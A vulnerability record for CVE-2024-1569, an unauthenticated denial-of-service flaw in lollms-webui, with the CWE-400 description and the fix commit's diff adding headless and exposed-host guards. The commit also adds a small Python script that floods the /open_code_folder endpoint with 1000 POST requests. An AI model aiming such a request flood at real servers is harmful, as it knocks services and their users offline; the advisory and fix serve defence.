CVE-2024-1569 (published 2024-04-16T00:15Z)

parisneo/lollms-webui is vulnerable to a denial of service (DoS) attack due to uncontrolled resource consumption. Attackers can exploit the `/open_code_in_vs_code` and similar endpoints without authentication by sending repeated HTTP POST requests, leading to the opening of Visual Studio Code or the default folder opener (e.g., File Explorer, xdg-open) multiple times. This can render the host machine unusable by exhausting system resources. The vulnerability is present in the latest version of the software.


Weakness information:
cwe_id: CWE-400
cwe_name: Uncontrolled Resource Consumption
description: The product does not properly control the allocation and maintenance of a limited resource, thereby enabling an actor to influence the amount of resources consumed, eventually leading to the exhaustion of available resources.
extended_description: 
            Limited resources include memory, file system storage, database connection pool entries, and CPU. If an attacker can trigger the allocation of these limited resources, but the number or size of the resources is not controlled, then the attacker could cause a denial of service that consumes all available resources. This would prevent valid users from accessing the product, and it could potentially have an impact on the surrounding environment. For example, a memory exhaustion attack against an application could slow down the application as well as its host operating system.
            There are at least three distinct scenarios which can commonly lead to resource exhaustion:
               
                  Lack of throttling for the number of allocated resources
                  Losing all references to a resource before reaching the shutdown stage
                  Not closing/returning a resource after processing
               
            Resource exhaustion problems are often result due to an incorrect implementation of the following situations:
               
                  Error conditions and other exceptional circumstances.
                  Confusion over which part of the program is responsible for releasing the resource.
               
         
         

Fix information:
repo_url: https://github.com/parisneo/lollms-webui
commit_details: repo_url: https://github.com/parisneo/lollms-webui
author: Saifeddine ALOUI
author_date: 2024-02-15 21:47:24+01:00
msg: fixed service denial exploit
repository: repo_url: https://github.com/parisneo/lollms-webui
repo_name: ParisNeo/lollms-webui
description: Lord of Large Language Models Web User Interface
repo_language: Vue
owner: parisneo
file_changes: filename: lollms_advanced.py
change_type: ModificationType.MODIFY
diff: @@ -155,6 +155,11 @@ async def open_code_folder_in_vs_code(request: OpenCodeFolderInVsCodeRequestMode
     :param request: The HTTP request object.
     :return: A JSON response with the status of the operation.
     """
+    if lollmsElfServer.config.headless_server_mode:
+        return {"status":False,"error":"Open code folder in vscode is blocked when in headless mode for obvious security reasons!"}
+
+    if lollmsElfServer.config.host=="0.0.0.0":
+        return {"status":False,"error":"Open code folder in vscode is blocked when the server is exposed outside for very obvious reasons!"}
 
     try:
         if request.discussion_id:        
@@ -192,6 +197,11 @@ async def open_file(file_path: FilePath):
     :param file_path: The file path object.
     :return: A JSON response with the status of the operation.
     """
+    if lollmsElfServer.config.headless_server_mode:
+        return {"status":False,"error":"Open file is blocked when in headless mode for obvious security reasons!"}
+
+    if lollmsElfServer.config.host=="0.0.0.0":
+        return {"status":False,"error":"Open file is blocked when the server is exposed outside for very obvious reasons!"}
 
     try:
         # Validate the 'path' parameter
@@ -225,6 +235,11 @@ async def open_code_in_vs_code(vs_code_data: VSCodeData):
     :param vs_code_data: The data object.
     :return: A JSON response with the status of the operation.
     """
+    if lollmsElfServer.config.headless_server_mode:
+        return {"status":False,"error":"Open code in vs code is blocked when in headless mode for obvious security reasons!"}
+
+    if lollmsElfServer.config.host=="0.0.0.0":
+        return {"status":False,"error":"Open code in vs code is blocked when the server is exposed outside for very obvious reasons!"}
 
     try:
         discussion_id = vs_code_data.discussion_id
@@ -260,6 +275,11 @@ async def open_code_folder(request: FolderRequest):
     :param request: The HTTP request object.
     :return: A JSON response with the status of the operation.
     """
+    if lollmsElfServer.config.headless_server_mode:
+        return {"status":False,"error":"Open code folder is blocked when in headless mode for obvious security reasons!"}
+
+    if lollmsElfServer.config.host=="0.0.0.0":
+        return {"status":False,"error":"Open code folder is blocked when the server is exposed outside for very obvious reasons!"}
     
     try:
         if request.discussion_id:
@@ -303,6 +323,12 @@ async def open_code_folder(request: FolderRequest):
 
 @router.get("/start_recording")
 def start_recording():
+    if lollmsElfServer.config.headless_server_mode:
+        return {"status":False,"error":"Start recording is blocked when in headless mode for obvious security reasons!"}
+
+    if lollmsElfServer.config.host=="0.0.0.0":
+        return {"status":False,"error":"Start recording is blocked when the server is exposed outside for very obvious reasons!"}
+
     lollmsElfServer.info("Starting audio capture")
     try:
         from lollms.media import AudioRecorder
@@ -317,6 +343,12 @@ def start_recording():
 
 @router.get("/stop_recording")
 def stop_recording():
+    if lollmsElfServer.config.headless_server_mode:
+        return {"status":False,"error":"Stop recording is blocked when in headless mode for obvious security reasons!"}
+
+    if lollmsElfServer.config.host=="0.0.0.0":
+        return {"status":False,"error":"Stop recording is blocked when the server is exposed outside for very obvious reasons!"}
+
     lollmsElfServer.info("Stopping audio capture")
     text = lollmsElfServer.audio_cap.stop_recording()
     return text

programming_language: Python
filename: test_service_denial.py
change_type: ModificationType.ADD
diff: @@ -0,0 +1,18 @@
+'''
+This python script is performing a Denial of Service (DoS) attack on your endpoint.
+It is creating a large number of requests (1000 in this case) to the '/open_code_folder' API endpoint of your server.
+This could potentially overload your server, making it unable to serve normal, legitimate requests.
+
+Please make sure you test this only on a virtual machine since it can overload your own PC and crush it
+'''
+import requests
+
+IP_ADDRESS = "localhost"
+PORT = 9600
+
+for i in range(1000):
+    data = {
+        "discussion_id":f"{i}",
+    }
+    response = requests.post(f"http://{IP_ADDRESS}:{str(PORT)}/open_code_folder", json=data)
+    print(i, response.json())
\ No newline at end of file

programming_language: Markdown